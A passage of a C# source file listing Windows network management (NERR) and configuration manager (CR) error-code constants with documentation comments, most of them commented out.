2201;\n\n      ///// <summary>The user name or group name parameter is invalid.</summary>\n      //public const uint NERR_BadUsername = 2202;\n\n      ///// <summary>The password parameter is invalid.</summary>\n      //public const uint NERR_BadPassword = 2203;\n\n      ///// <summary>@W The logon processor did not add the message alias.</summary>\n      //public const uint NERR_UnableToAddName_W = 2204;\n\n      ///// <summary>The logon processor did not add the message alias.</summary>\n      //public const uint NERR_UnableToAddName_F = 2205;\n\n      ///// <summary>@W The logoff processor did not delete the message alias.</summary>\n      //public const uint NERR_UnableToDelName_W = 2206;\n\n      ///// <summary>The logoff processor did not delete the message alias.</summary>\n      //public const uint NERR_UnableToDelName_F = 2207;\n\n      ///// <summary>Network logons are paused.</summary>\n      //public const uint NERR_LogonsPaused = 2209;\n\n      ///// <summary>A centralized logon-server conflict occurred.</summary>\n      //public const uint NERR_LogonServerConflict = 2210;\n\n      ///// <summary>The server is configured without a valid user path.</summary>\n      //public const uint NERR_LogonNoUserPath = 2211;\n\n      ///// <summary>An error occurred while loading or running the logon script.</summary>\n      //public const uint NERR_LogonScriptError = 2212;\n\n      ///// <summary>The logon server was not specified. Your computer will be logged on as STANDALONE.</summary>\n      //public const uint NERR_StandaloneLogon = 2214;\n\n      ///// <summary>The logon server could not be found.</summary>\n      //public const uint NERR_LogonServerNotFound = 2215;\n\n      ///// <summary>There is already a logon domain for this computer.</summary>\n      //public const uint NERR_LogonDomainExists = 2216;\n\n      ///// <summary>The logon server could not validate the logon.</summary>\n      //public const uint NERR_NonValidatedLogon = 2217;\n\n      ///// <summary>The security database could not be found.</summary>\n      //public const uint NERR_ACFNotFound = 2219;\n\n      ///// <summary>The group name could not be found.</summary>\n      //public const uint NERR_GroupNotFound = 2220;\n\n      ///// <summary>The user name could not be found.</summary>\n      //public const uint NERR_UserNotFound = 2221;\n\n      ///// <summary>The resource name could not be found.</summary>\n      //public const uint NERR_ResourceNotFound = 2222;\n\n      ///// <summary>The group already exists.</summary>\n      //public const uint NERR_GroupExists = 2223;\n\n      ///// <summary>The user account already exists.</summary>\n      //public const uint NERR_UserExists = 2224;\n\n      ///// <summary>The resource permission list already exists.</summary>\n      //public const uint NERR_ResourceExists = 2225;\n\n      ///// <summary>This operation is only allowed on the primary domain controller of the domain.</summary>\n      //public const uint NERR_NotPrimary = 2226;\n\n      ///// <summary>The security database has not been started.</summary>\n      //public const uint NERR_ACFNotLoaded = 2227;\n\n      ///// <summary>There are too many names in the user accounts database.</summary>\n      //public const uint NERR_ACFNoRoom = 2228;\n\n      ///// <summary>A disk I/O failure occurred.</summary>\n      //public const uint NERR_ACFFileIOFail = 2229;\n\n      ///// <summary>The limit of 64 entries per resource was exceeded.</summary>\n      //public const uint NERR_ACFTooManyLists = 2230;\n\n      ///// <summary>Deleting a user with a session is not allowed.</summary>\n      //public const uint NERR_UserLogon = 2231;\n\n      ///// <summary>The parent directory could not be located.</summary>\n      //public const uint NERR_ACFNoParent = 2232;\n\n      ///// <summary>Unable to add to the security database session cache segment.</summary>\n      //public const uint NERR_CanNotGrowSegment = 2233;\n\n      ///// <summary>This operation is not allowed on this special group.</summary>\n      //public const uint NERR_SpeGroupOp = 2234;\n\n      ///// <summary>This user is not cached in user accounts database session cache.</summary>\n      //public const uint NERR_NotInCache = 2235;\n\n      ///// <summary>The user already belongs to this group.</summary>\n      //public const uint NERR_UserInGroup = 2236;\n\n      ///// <summary>The user does not belong to this group.</summary>\n      //public const uint NERR_UserNotInGroup = 2237;\n\n      ///// <summary>This user account is undefined.</summary>\n      //public const uint NERR_AccountUndefined = 2238;\n\n      ///// <summary>This user account has expired.</summary>\n      //public const uint NERR_AccountExpired = 2239;\n\n      ///// <summary>The user is not allowed to log on from this workstation.</summary>\n      //public const uint NERR_InvalidWorkstation = 2240;\n\n      ///// <summary>The user is not allowed to log on at this time.</summary>\n      //public const uint NERR_InvalidLogonHours = 2241;\n\n      ///// <summary>The password of this user has expired.</summary>\n      //public const uint NERR_PasswordExpired = 2242;\n\n      ///// <summary>The password of this user cannot change.</summary>\n      //public const uint NERR_PasswordCantChange = 2243;\n\n      ///// <summary>This password cannot be used now.</summary>\n      //public const uint NERR_PasswordHistConflict = 2244;\n\n      ///// <summary>The password does not meet the password policy requirements. Check the minimum password length, password complexity and password history requirements.</summary>\n      //public const uint NERR_PasswordTooShort = 2245;\n\n      ///// <summary>The password of this user is too recent to change.</summary>\n      //public const uint NERR_PasswordTooRecent = 2246;\n\n      ///// <summary>The security database is corrupted.</summary>\n      //public const uint NERR_InvalidDatabase = 2247;\n\n      ///// <summary>No updates are necessary to this replicant network/local security database.</summary>\n      //public const uint NERR_DatabaseUpToDate = 2248;\n\n      ///// <summary>This replicant database is outdated; synchronization is required.</summary>\n      //public const uint NERR_SyncRequired = 2249;\n\n      //// <summary>(2250) The network connection could not be found.</summary>\n      //public const uint NERR_UseNotFound = 2250;\n\n      ///// <summary>This asg_type is invalid.</summary>\n      //public const uint NERR_BadAsgType = 2251;\n\n      ///// <summary>This device is currently being shared.</summary>\n      //public const uint NERR_DeviceIsShared = 2252;\n\n      ///// <summary>The computer name could not be added as a message alias. The name may already exist on the network.</summary>\n      //public const uint NERR_NoComputerName = 2270;\n\n      ///// <summary>The Messenger service is already started.</summary>\n      //public const uint NERR_MsgAlreadyStarted = 2271;\n\n      ///// <summary>The Messenger service failed to start.</summary>\n      //public const uint NERR_MsgInitFailed = 2272;\n\n      ///// <summary>The message alias could not be found on the network.</summary>\n      //public const uint NERR_NameNotFound = 2273;\n\n      ///// <summary>This message alias has already been forwarded.</summary>\n      //public const uint NERR_AlreadyForwarded = 2274;\n\n      ///// <summary>This message alias has been added but is still forwarded.</summary>\n      //public const uint NERR_AddForwarded = 2275;\n\n      ///// <summary>This message alias already exists locally.</summary>\n      //public const uint NERR_AlreadyExists = 2276;\n\n      ///// <summary>The maximum number of added message aliases has been exceeded.</summary>\n      //public const uint NERR_TooManyNames = 2277;\n\n      ///// <summary>The computer name could not be deleted.</summary>\n      //public const uint NERR_DelComputerName = 2278;\n\n      ///// <summary>Messages cannot be forwarded back to the same workstation.</summary>\n      //public const uint NERR_LocalForward = 2279;\n\n      ///// <summary>An error occurred in the domain message processor.</summary>\n      //public const uint NERR_GrpMsgProcessor = 2280;\n\n      ///// <summary>The message was sent, but the recipient has paused the Messenger service.</summary>\n      //public const uint NERR_PausedRemote = 2281;\n\n      ///// <summary>The message was sent but not received.</summary>\n      //public const uint NERR_BadReceive = 2282;\n\n      ///// <summary>The message alias is currently in use. Try again later.</summary>\n      //public const uint NERR_NameInUse = 2283;\n\n      ///// <summary>The Messenger service has not been started.</summary>\n      //public const uint NERR_MsgNotStarted = 2284;\n\n      ///// <summary>The name is not on the local computer.</summary>\n      //public const uint NERR_NotLocalName = 2285;\n\n      ///// <summary>The forwarded message alias could not be found on the network.</summary>\n      //public const uint NERR_NoForwardName = 2286;\n\n      ///// <summary>The message alias table on the remote station is full.</summary>\n      //public const uint NERR_RemoteFull = 2287;\n\n      ///// <summary>Messages for this alias are not currently being forwarded.</summary>\n      //public const uint NERR_NameNotForwarded = 2288;\n\n      ///// <summary>The broadcast message was truncated.</summary>\n      //public const uint NERR_TruncatedBroadcast = 2289;\n\n      ///// <summary>This is an invalid device name.</summary>\n      //public const uint NERR_InvalidDevice = 2294;\n\n      ///// <summary>A write fault occurred.</summary>\n      //public const uint NERR_WriteFault = 2295;\n\n      ///// <summary>A duplicate message alias exists on the network.</summary>\n      //public const uint NERR_DuplicateName = 2297;\n\n      ///// <summary>@W This message alias will be deleted later.</summary>\n      //public const uint NERR_DeleteLater = 2298;\n\n      ///// <summary>The message alias was not successfully deleted from all networks.</summary>\n      //public const uint NERR_IncompleteDel = 2299;\n\n      ///// <summary>This operation is not supported on computers with multiple networks.</summary>\n      //public const uint NERR_MultipleNets = 2300;\n\n      //// <summary>(2310) This shared resource does not exist.</summary>\n      //public const uint NERR_NetNameNotFound = 2310;\n\n      ///// <summary>This device is not shared.</summary>\n      //public const uint NERR_DeviceNotShared = 2311;\n\n      ///// <summary>A session does not exist with that computer name.</summary>\n      //public const uint NERR_ClientNameNotFound = 2312;\n\n      /// <summary>(2314) There is not an open file with that identification number.</summary>\n      public const uint NERR_FileIdNotFound = 2314;\n\n      ///// <summary>A failure occurred when executing a remote administration command.</summary>\n      //public const uint NERR_ExecFailure = 2315;\n\n      ///// <summary>A failure occurred when opening a remote temporary file.</summary>\n      //public const uint NERR_TmpFile = 2316;\n\n      ///// <summary>The data returned from a remote administration command has been truncated to 64K.</summary>\n      //public const uint NERR_TooMuchData = 2317;\n\n      ///// <summary>This device cannot be shared as both a spooled and a non-spooled resource.</summary>\n      //public const uint NERR_DeviceShareConflict = 2318;\n\n      ///// <summary>The information in the list of servers may be incorrect.</summary>\n      //public const uint NERR_BrowserTableIncomplete = 2319;\n\n      ///// <summary>The computer is not active in this domain.</summary>\n      //public const uint NERR_NotLocalDomain = 2320;\n\n      ///// <summary>The share must be removed from the Distributed File System before it can be deleted.</summary>\n      //public const uint NERR_IsDfsShare = 2321;\n\n      ///// <summary>The operation is invalid for this device.</summary>\n      //public const uint NERR_DevInvalidOpCode = 2331;\n\n      ///// <summary>This device cannot be shared.</summary>\n      //public const uint NERR_DevNotFound = 2332;\n\n      ///// <summary>This device was not open.</summary>\n      //public const uint \tNERR_DevNotOpen = 2333;\n\n      ///// <summary>This device name list is invalid.</summary>\n      //public const uint NERR_BadQueueDevString = 2334;\n\n      ///// <summary>The queue priority is invalid.</summary>\n      //public const uint NERR_BadQueuePriority = 2335;\n\n      ///// <summary>There are no shared communication devices.</summary>\n      //public const uint NERR_NoCommDevs = 2337;\n\n      ///// <summary>The queue you specified does not exist.</summary>\n      //public const uint NERR_QueueNotFound = 2338;\n\n      ///// <summary>This list of devices is invalid.</summary>\n      //public const uint NERR_BadDevString = 2340;\n\n      ///// <summary>The requested device is invalid.</summary>\n      //public const uint NERR_BadDev = 2341;      \n\n      ///// <summary>This device is already in use by the spooler.</summary>\n      //public const uint NERR_InUseBySpooler = 2342;\n\n      ///// <summary>This device is already in use as a communication device.</summary>\n      //public const uint NERR_CommDevInUse = 2343;\n\n      ///// <summary>This computer name is invalid.</summary>\n      //public const uint NERR_InvalidComputer = 2351;\n\n      ///// <summary>The string and prefix specified are too long.</summary>\n      //public const uint NERR_MaxLenExceeded = 2354;\n\n      ///// <summary>This path component is invalid.</summary>\n      //public const uint NERR_BadComponent = 2356;\n\n      ///// <summary>Could not determine the type of input.</summary>\n      //public const uint NERR_CantType = 2357;\n\n      ///// <summary>The buffer for types is not big enough.</summary>\n      //public const uint NERR_TooManyEntries = 2362;\n\n      ///// <summary>Profile files cannot exceed 64K.</summary>\n      //public const uint NERR_ProfileFileTooBig = 2370;      \n\n      ///// <summary>The start offset is out of range.</summary>\n      //public const uint NERR_ProfileOffset = 2371;\n\n      ///// <summary>The system cannot delete current connections to network resources.</summary>\n      //public const uint NERR_ProfileCleanup = 2372;\n\n      ///// <summary>The system was unable to parse the command line in this file.</summary>\n      //public const uint NERR_ProfileUnknownCmd = 2373;\n\n      ///// <summary>An error occurred while loading the profile file.</summary>\n      //public const uint NERR_ProfileLoadErr = 2374;\n\n      ///// <summary>@W Errors occurred while saving the profile file. The profile was partially saved.</summary>\n      //public const uint NERR_ProfileSaveErr = 2375;\n\n      ///// <summary>Log file %1 is full.</summary>\n      //public const uint NERR_LogOverflow = 2377;\n\n      ///// <summary>This log file has changed between reads.</summary>\n      //public const uint NERR_LogFileChanged = 2378;\n\n      ///// <summary>Log file %1 is corrupt.</summary>\n      //public const uint NERR_LogFileCorrupt = 2379;      \n\n      ///// <summary>The source path cannot be a directory.</summary>\n      //public const uint NERR_SourceIsDir = 2380;\n\n      ///// <summary>The source path is illegal.</summary>\n      //public const uint NERR_BadSource = 2381;\n\n      ///// <summary>The destination path is illegal.</summary>\n      //public const uint NERR_BadDest = 2382;\n\n      ///// <summary>The source and destination paths are on different servers.</summary>\n      //public const uint NERR_DifferentServers = 2383;\n\n      ///// <summary>The Run server you requested is paused.</summary>\n      //public const uint NERR_RunSrvPaused = 2385;\n\n      ///// <summary>An error occurred when communicating with a Run server.</summary>\n      //public const uint NERR_ErrCommRunSrv = 2389;\n\n      ///// <summary>An error occurred when starting a background process.</summary>\n      //public const uint NERR_ErrorExecingGhost = 2391;\n\n      ///// <summary>The shared resource you are connected to could not be found.</summary>\n      //public const uint NERR_ShareNotFound = 2392;      \n\n      ///// <summary>The LAN adapter number is invalid.</summary>\n      //public const uint NERR_InvalidLana = 2400;\n\n      ///// <summary>There are open files on the connection.</summary>\n      //public const uint NERR_OpenFiles = 2401;\n\n      ///// <summary>Active connections still exist.</summary>\n      //public const uint NERR_ActiveConns = 2402;\n\n      ///// <summary>This share name or password is invalid.</summary>\n      //public const uint NERR_BadPasswordCore = 2403;\n\n      ///// <summary>The device is being accessed by an active process.</summary>\n      //public const uint NERR_DevInUse = 2404;\n\n      ///// <summary>The drive letter is in use locally.</summary>\n      //public const uint NERR_LocalDrive = 2405;\n\n      ///// <summary>The specified client is already registered for the specified event.</summary>\n      //public const uint NERR_AlertExists = 2430;\n\n      ///// <summary>The alert table is full.</summary>\n      //public const uint NERR_TooManyAlerts = 2431;      \n\n      ///// <summary>An invalid or nonexistent alert name was raised.</summary>\n      //public const uint NERR_NoSuchAlert = 2432;\n\n      ///// <summary>The alert recipient is invalid.</summary>\n      //public const uint NERR_BadRecipient = 2433;\n\n      ///// <summary>A user's session with this server has been deleted</summary>\n      //public const uint NERR_AcctLimitExceeded = 2434;\n\n      ///// <summary>The log file does not contain the requested record number.</summary>\n      //public const uint NERR_InvalidLogSeek = 2440;\n\n      ///// <summary>The user accounts database is not configured correctly.</summary>\n      //public const uint NERR_BadUasConfig = 2450;\n\n      ///// <summary>This operation is not permitted when the Netlogon service is running.</summary>\n      //public const uint NERR_InvalidUASOp = 2451;\n\n      ///// <summary>This operation is not allowed on the last administrative account.</summary>\n      //public const uint NERR_LastAdmin = 2452;\n\n      ///// <summary>Could not find domain controller for this domain.</summary>\n      //public const uint NERR_DCNotFound = 2453;      \n\n      ///// <summary>Could not set logon information for this user.</summary>\n      //public const uint NERR_LogonTrackingError = 2454;\n\n      ///// <summary>The Netlogon service has not been started.</summary>\n      //public const uint NERR_NetlogonNotStarted = 2455;\n\n      ///// <summary>Unable to add to the user accounts database.</summary>\n      //public const uint NERR_CanNotGrowUASFile = 2456;\n\n      ///// <summary>This server's clock is not synchronized with the primary domain controller's clock.</summary>\n      //public const uint NERR_TimeDiffAtDC = 2457;\n\n      ///// <summary>A password mismatch has been detected.</summary>\n      //public const uint NERR_PasswordMismatch = 2458;\n\n      ///// <summary>The server identification does not specify a valid server.</summary>\n      //public const uint NERR_NoSuchServer = 2460;\n\n      ///// <summary>The session identification does not specify a valid session.</summary>\n      //public const uint NERR_NoSuchSession = 2461;\n\n      ///// <summary>The connection identification does not specify a valid connection.</summary>\n      //public const uint NERR_NoSuchConnection = 2462;      \n\n      ///// <summary>There is no space for another entry in the table of available servers.</summary>\n      //public const uint NERR_TooManyServers = 2463;\n\n      ///// <summary>The server has reached the maximum number of sessions it supports.</summary>\n      //public const uint NERR_TooManySessions = 2464;\n\n      ///// <summary>The server has reached the maximum number of connections it supports.</summary>\n      //public const uint NERR_TooManyConnections = 2465;\n\n      ///// <summary>The server cannot open more files because it has reached its maximum number.</summary>\n      //public const uint NERR_TooManyFiles = 2466;\n\n      ///// <summary>There are no alternate servers registered on this server.</summary>\n      //public const uint NERR_NoAlternateServers = 2467;\n\n      ///// <summary>Try down-level (remote admin protocol) version of API instead.</summary>\n      //public const uint NERR_TryDownLevel = 2470;\n\n      ///// <summary>The UPS driver could not be accessed by the UPS service.</summary>\n      //public const uint NERR_UPSDriverNotStarted = 2480;\n\n      ///// <summary>The UPS service is not configured correctly.</summary>\n      //public const uint NERR_UPSInvalidConfig = 2481;      \n\n      ///// <summary>The UPS service could not access the specified Comm Port.</summary>\n      //public const uint NERR_UPSInvalidCommPort = 2482;\n\n      ///// <summary>The UPS indicated a line fail or low battery situation. Service not started.</summary>\n      //public const uint NERR_UPSSignalAsserted = 2483;\n\n      ///// <summary>The UPS service failed to perform a system shut down.</summary>\n      //public const uint NERR_UPSShutdownFailed = 2484;\n\n      ///// <summary>The program below returned an MS-DOS error code:</summary>\n      //public const uint NERR_BadDosRetCode = 2500;\n\n      ///// <summary>The program below needs more memory:</summary>\n      //public const uint NERR_ProgNeedsExtraMem = 2501;\n\n      ///// <summary>The program below called an unsupported MS-DOS function:</summary>\n      //public const uint NERR_BadDosFunction = 2502;\n\n      ///// <summary>The workstation failed to boot.</summary>\n      //public const uint NERR_RemoteBootFailed = 2503;\n\n      ///// <summary>The file below is corrupt.</summary>\n      //public const uint NERR_BadFileCheckSum = 2504;      \n\n      ///// <summary>No loader is specified in the boot-block definition file.</summary>\n      //public const uint NERR_NoRplBootSystem = 2505;\n\n      ///// <summary>NetBIOS returned an error: The NCB and SMB are dumped above.</summary>\n      //public const uint NERR_RplLoadrNetBiosErr = 2506;\n\n      ///// <summary>A disk I/O error occurred.</summary>\n      //public const uint NERR_RplLoadrDiskErr = 2507;\n\n      ///// <summary>Image parameter substitution failed.</summary>\n      //public const uint NERR_ImageParamErr = 2508;\n\n      ///// <summary>Too many image parameters cross disk sector boundaries.</summary>\n      //public const uint NERR_TooManyImageParams = 2509;\n\n      ///// <summary>The image was not generated from an MS-DOS diskette formatted with /S.</summary>\n      //public const uint NERR_NonDosFloppyUsed = 2510;\n\n      ///// <summary>Remote boot will be restarted later.</summary>\n      //public const uint NERR_RplBootRestart = 2511;\n\n      ///// <summary>The call to the Remoteboot server failed.</summary>\n      //public const uint NERR_RplSrvrCallFailed = 2512;      \n\n      ///// <summary>Cannot connect to the Remoteboot server.</summary>\n      //public const uint NERR_CantConnectRplSrvr = 2513;\n\n      ///// <summary>Cannot open image file on the Remoteboot server.</summary>\n      //public const uint NERR_CantOpenImageFile = 2514;\n\n      ///// <summary>Connecting to the Remoteboot server.</summary>\n      //public const uint NERR_CallingRplSrvr = 2515;\n\n      ///// <summary>Connecting to the Remoteboot server.</summary>\n      //public const uint NERR_StartingRplBoot = 2516;\n\n      ///// <summary>Remote boot service was stopped; check the error log for the cause of the problem.</summary>\n      //public const uint NERR_RplBootServiceTerm = 2517;\n\n      ///// <summary>Remote boot startup failed; check the error log for the cause of the problem.</summary>\n      //public const uint NERR_RplBootStartFailed = 2518;\n\n      ////// <summary>A second connection to a Remoteboot resource is not allowed.</summary>\n      //public const uint NERR_RplConnected = 2519;\n\n      ///// <summary>The browser service was configured with MaintainServerList=No.</summary>\n      //public const uint NERR_BrowserConfiguredToNotRun = 2550;      \n\n      ///// <summary>Service failed to start since none of the network adapters started with this service.</summary>\n      //public const uint NERR_RplNoAdaptersStarted = 2610;\n\n      ///// <summary>Service failed to start due to bad startup information in the registry.</summary>\n      //public const uint NERR_RplBadRegistry = 2611;\n\n      ///// <summary>Service failed to start because its database is absent or corrupt.</summary>\n      //public const uint NERR_RplBadDatabase = 2612;\n\n      ///// <summary>Service failed to start because RPLFILES share is absent.</summary>\n      //public const uint NERR_RplRplfilesShare = 2613;\n\n      ///// <summary>Service failed to start because RPLUSER group is absent.</summary>\n      //public const uint NERR_RplNotRplServer = 2614;\n\n      ///// <summary>Cannot enumerate service records.</summary>\n      //public const uint NERR_RplCannotEnum = 2615;\n\n      ///// <summary>Workstation record information has been corrupted.</summary>\n      //public const uint NERR_RplWkstaInfoCorrupted = 2616;\n\n      ///// <summary>Workstation record was not found.</summary>\n      //public const uint NERR_RplWkstaNotFound = 2617;      \n\n      ///// <summary>Workstation name is in use by some other workstation.</summary>\n      //public const uint NERR_RplWkstaNameUnavailable = 2618;\n\n      ///// <summary>Profile record information has been corrupted.</summary>\n      //public const uint NERR_RplProfileInfoCorrupted = 2619;\n\n      ///// <summary>Profile record was not found.</summary>\n      //public const uint NERR_RplProfileNotFound = 2620;\n\n      ///// <summary>Profile name is in use by some other profile.</summary>\n      //public const uint NERR_RplProfileNameUnavailable = 2621;\n\n      ///// <summary>There are workstations using this profile.</summary>\n      //public const uint NERR_RplProfileNotEmpty = 2622;\n\n      ///// <summary>Configuration record information has been corrupted.</summary>\n      //public const uint NERR_RplConfigInfoCorrupted = 2623;\n\n      ///// <summary>Configuration record was not found.</summary>\n      //public const uint NERR_RplConfigNotFound = 2624;\n\n      ///// <summary>Adapter ID record information has been corrupted.</summary>\n      //public const uint NERR_RplAdapterInfoCorrupted = 2625;      \n\n      ///// <summary>An internal service error has occurred.</summary>\n      //public const uint NERR_RplInternal = 2626;\n\n      ///// <summary>Vendor ID record information has been corrupted.</summary>\n      //public const uint NERR_RplVendorInfoCorrupted = 2627;\n\n      ///// <summary>Boot block record information has been corrupted.</summary>\n      //public const uint NERR_RplBootInfoCorrupted = 2628;\n\n      ///// <summary>The user account for this workstation record is missing.</summary>\n      //public const uint NERR_RplWkstaNeedsUserAcct = 2629;\n\n      ///// <summary>The RPLUSER local group could not be found.</summary>\n      //public const uint NERR_RplNeedsRPLUSERAcct = 2630;\n\n      ///// <summary>Boot block record was not found.</summary>\n      //public const uint NERR_RplBootNotFound = 2631;\n\n      ///// <summary>Chosen profile is incompatible with this workstation.</summary>\n      //public const uint NERR_RplIncompatibleProfile = 2632;\n\n      ///// <summary>Chosen network adapter ID is in use by some other workstation.</summary>\n      //public const uint NERR_RplAdapterNameUnavailable = 2633;      \n\n      ///// <summary>There are profiles using this configuration.</summary>\n      //public const uint NERR_RplConfigNotEmpty = 2634;\n\n      ///// <summary>There are workstations, profiles, or configurations using this boot block.</summary>\n      //public const uint NERR_RplBootInUse = 2635;\n\n      ///// <summary>Service failed to backup Remoteboot database.</summary>\n      //public const uint NERR_RplBackupDatabase = 2636;\n\n      ///// <summary>Adapter record was not found.</summary>\n      //public const uint NERR_RplAdapterNotFound = 2637;\n\n      ///// <summary>Vendor record was not found.</summary>\n      //public const uint NERR_RplVendorNotFound = 2638;\n\n      ///// <summary>Vendor name is in use by some other vendor record.</summary>\n      //public const uint NERR_RplVendorNameUnavailable = 2639;\n\n      ///// <summary>(boot name, vendor ID) is in use by some other boot block record.</summary>\n      //public const uint NERR_RplBootNameUnavailable = 2640;\n\n      ///// <summary>Configuration name is in use by some other configuration.</summary>\n      //public const uint NERR_RplConfigNameUnavailable = 2641;\n\n      ///// <summary>The internal database maintained by the Dfs service is corrupt.</summary>\n      //public const uint NERR_DfsInternalCorruption = 2660;\n\n      ///// <summary>One of the records in the internal Dfs database is corrupt.</summary>\n      //public const uint NERR_DfsVolumeDataCorrupt = 2661;\n\n      ///// <summary>There is no DFS name whose entry path matches the input Entry Path.</summary>\n      //public const uint NERR_DfsNoSuchVolume = 2662;\n\n      ///// <summary>A root or link with the given name already exists.</summary>\n      //public const uint NERR_DfsVolumeAlreadyExists = 2663;\n\n      ///// <summary>The server share specified is already shared in the Dfs.</summary>\n      //public const uint NERR_DfsAlreadyShared = 2664;\n\n      ///// <summary>The indicated server share does not support the indicated DFS namespace.</summary>\n      //public const uint NERR_DfsNoSuchShare = 2665;\n\n      ///// <summary>The operation is not valid on this portion of the namespace.</summary>\n      //public const uint NERR_DfsNotALeafVolume = 2666;\n\n      ///// <summary>The operation is not valid on this portion of the namespace.</summary>\n      //public const uint NERR_DfsLeafVolume = 2667;\n\n      ///// <summary>The operation is ambiguous because the link has multiple servers.</summary>\n      //public const uint NERR_DfsVolumeHasMultipleServers = 2668;\n\n      ///// <summary>Unable to create a link.</summary>\n      //public const uint NERR_DfsCantCreateJunctionPoint = 2669;\n\n      ///// <summary>The server is not Dfs Aware.</summary>\n      //public const uint NERR_DfsServerNotDfsAware = 2670;\n\n      ///// <summary>The specified rename target path is invalid.</summary>\n      //public const uint NERR_DfsBadRenamePath = 2671;\n\n      ///// <summary>The specified DFS link is offline.</summary>\n      //public const uint NERR_DfsVolumeIsOffline = 2672;\n\n      ///// <summary>The specified server is not a server for this link.</summary>\n      //public const uint NERR_DfsNoSuchServer = 2673;\n\n      ///// <summary>A cycle in the Dfs name was detected.</summary>\n      //public const uint NERR_DfsCyclicalName = 2674;\n\n      ///// <summary>The operation is not supported on a server-based Dfs.</summary>\n      //public const uint NERR_DfsNotSupportedInServerDfs = 2675;\n\n      ///// <summary>This link is already supported by the specified server-share.</summary>\n      //public const uint NERR_DfsDuplicateService = 2676;\n\n      ///// <summary>Can't remove the last server-share supporting this root or link.</summary>\n      //public const uint NERR_DfsCantRemoveLastServerShare = 2677;\n\n      ///// <summary>The operation is not supported for an Inter-DFS link.</summary>\n      //public const uint NERR_DfsVolumeIsInterDfs = 2678;\n\n      ///// <summary>The internal state of the Dfs Service has become inconsistent.</summary>\n      //public const uint NERR_DfsInconsistent = 2679;\n\n      ///// <summary>The Dfs Service has been installed on the specified server.</summary>\n      //public const uint NERR_DfsServerUpgraded = 2680;\n\n      ///// <summary>The Dfs data being reconciled is identical.</summary>\n      //public const uint NERR_DfsDataIsIdentical = 2681;\n\n      ///// <summary>The DFS root cannot be deleted. Uninstall DFS if required.</summary>\n      //public const uint NERR_DfsCantRemoveDfsRoot = 2682;\n\n      ///// <summary>A child or parent directory of the share is already in a Dfs.</summary>\n      //public const uint NERR_DfsChildOrParentInDfs = 2683;\n\n      ///// <summary>Dfs internal error.</summary>\n      //public const uint NERR_DfsInternalError = 2690;\n\n      ///// <summary>This computer is already joined to a domain.</summary>\n      //public const uint NERR_SetupAlreadyJoined = 2691;\n\n      ///// <summary>This computer is not currently joined to a domain.</summary>\n      //public const uint NERR_SetupNotJoined = 2692;\n\n      ///// <summary>This computer is a domain controller and cannot be unjoined from a domain.</summary>\n      //public const uint NERR_SetupDomainController = 2693;\n\n      ///// <summary>The destination domain controller does not support creating machine accounts in OUs.</summary>\n      //public const uint NERR_DefaultJoinRequired = 2694;\n\n      ///// <summary>The specified workgroup name is invalid.</summary>\n      //public const uint NERR_InvalidWorkgroupName = 2695;\n\n      ///// <summary>The specified computer name is incompatible with the default language used on the domain controller.</summary>\n      //public const uint NERR_NameUsesIncompatibleCodePage = 2696;\n\n      ///// <summary>The specified computer account could not be found.</summary>\n      //public const uint NERR_ComputerAccountNotFound = 2697;\n\n      ///// <summary>This version of Windows cannot be joined to a domain.</summary>\n      //public const uint NERR_PersonalSku = 2698;\n\n      ///// <summary>The password must change at the next logon.</summary>\n      //public const uint NERR_PasswordMustChange = 2701;\n\n      ///// <summary>The account is locked out.</summary>\n      //public const uint NERR_AccountLockedOut = 2702;\n\n      ///// <summary>The password is too long.</summary>\n      //public const uint NERR_PasswordTooLong = 2703;\n\n      ///// <summary>The password does not meet the complexity policy.</summary>\n      //public const uint NERR_PasswordNotComplexEnough = 2704;\n\n      ///// <summary>The password does not meet the requirements of the password filter DLLs.</summary>\n      //public const uint NERR_PasswordFilterError = 2705;\n\n      ///// <summary>The offline join completion information was not found.</summary>\n      //public const uint NERR_NoOfflineJoinInfo = 2709;\n\n      ///// <summary>The offline join completion information was bad.</summary>\n      //public const uint NERR_BadOfflineJoinInfo = 2710;\n\n      ///// <summary>Unable to create offline join information. Please ensure you have access to the specified path location and permissions to modify its contents. Running as an elevated administrator may be required.</summary>\n      //public const uint NERR_CantCreateJoinInfo = 2711;\n\n      ///// <summary>The domain join info being saved was incomplete or bad.</summary>\n      //public const uint NERR_BadDomainJoinInfo = 2712;\n\n      ///// <summary>Offline join operation successfully completed but a restart is needed.</summary>\n      //public const uint NERR_JoinPerformedMustRestart = 2713;\n\n      ///// <summary>There was no offline join operation pending.</summary>\n      //public const uint NERR_NoJoinPending = 2714;\n\n      ///// <summary>Unable to set one or more requested machine or domain name values on the local computer.</summary>\n      //public const uint NERR_ValuesNotSet = 2715;\n\n      ///// <summary>Could not verify the current machine's hostname against the saved value in the join completion information.</summary>\n      //public const uint NERR_CantVerifyHostname = 2716;\n\n      ///// <summary>Unable to load the specified offline registry hive. Please ensure you have access to the specified path location and permissions to modify its contents. Running as an elevated administrator may be required.</summary>\n      //public const uint NERR_CantLoadOfflineHive = 2717;\n\n      ///// <summary>The minimum session security requirements for this operation were not met.</summary>\n      //public const uint NERR_ConnectionInsecure = 2718;\n\n      ///// <summary>Computer account provisioning blob version is not supported.</summary>\n      //public const uint NERR_RplBootInUse = 2719;\n\n      #endregion // Network Management Error Codes\n\n      #region Configuration Manager Error Codes\n\n      /// <summary>(0) The operation completed successfully.</summary>\n      public const uint CR_SUCCESS = 0;\n\n      //public const uint CR_DEFAULT = 1;\n      //public const uint CR_OUT_OF_MEMORY = 2;\n      //public const uint CR_INVALID_POINTER = 3;\n      //public const uint CR_INVALID_FLAG = 4;\n      //public const uint CR_INVALID_DEVNODE = 5;\n      //public const uint CR_INVALID_DEVINST = CR_INVALID_DEVNODE;\n      //public const uint CR_INVALID_RES_DES = 6;\n      //public const uint CR_INVALID_LOG_CONF = 7;\n      //public const uint CR_INVALID_ARBITRATOR = 8;\n      //public const uint CR_INVALID_NODELIST = 9;\n      //public const uint CR_DEVNODE_HAS_REQS = 10;\n      //public const uint CR_DEVINST_HAS_REQS = CR_DEVNODE_HAS_REQS;\n      //public const uint CR_INVALID_RESOURCEID = 11;\n      //public const uint CR_DLVXD_NOT_FOUND = 12; // WIN 95 ONLY \n      //public const uint CR_NO_SUCH_DEVNODE = 13;\n      //public const uint CR_NO_SUCH_DEVINST = CR_NO_SUCH_DEVNODE;\n      //public const uint CR_NO_MORE_LOG_CONF = 14;\n      //public const uint CR_NO_MORE_RES_DES = 15;\n      //public const uint CR_ALREADY_SUCH_DEVNODE = 16;\n      //public const uint CR_ALREADY_SUCH_DEVINST = CR_ALREADY_SUCH_DEVNODE;\n      //public const uint CR_INVALID_RANGE_LIST = 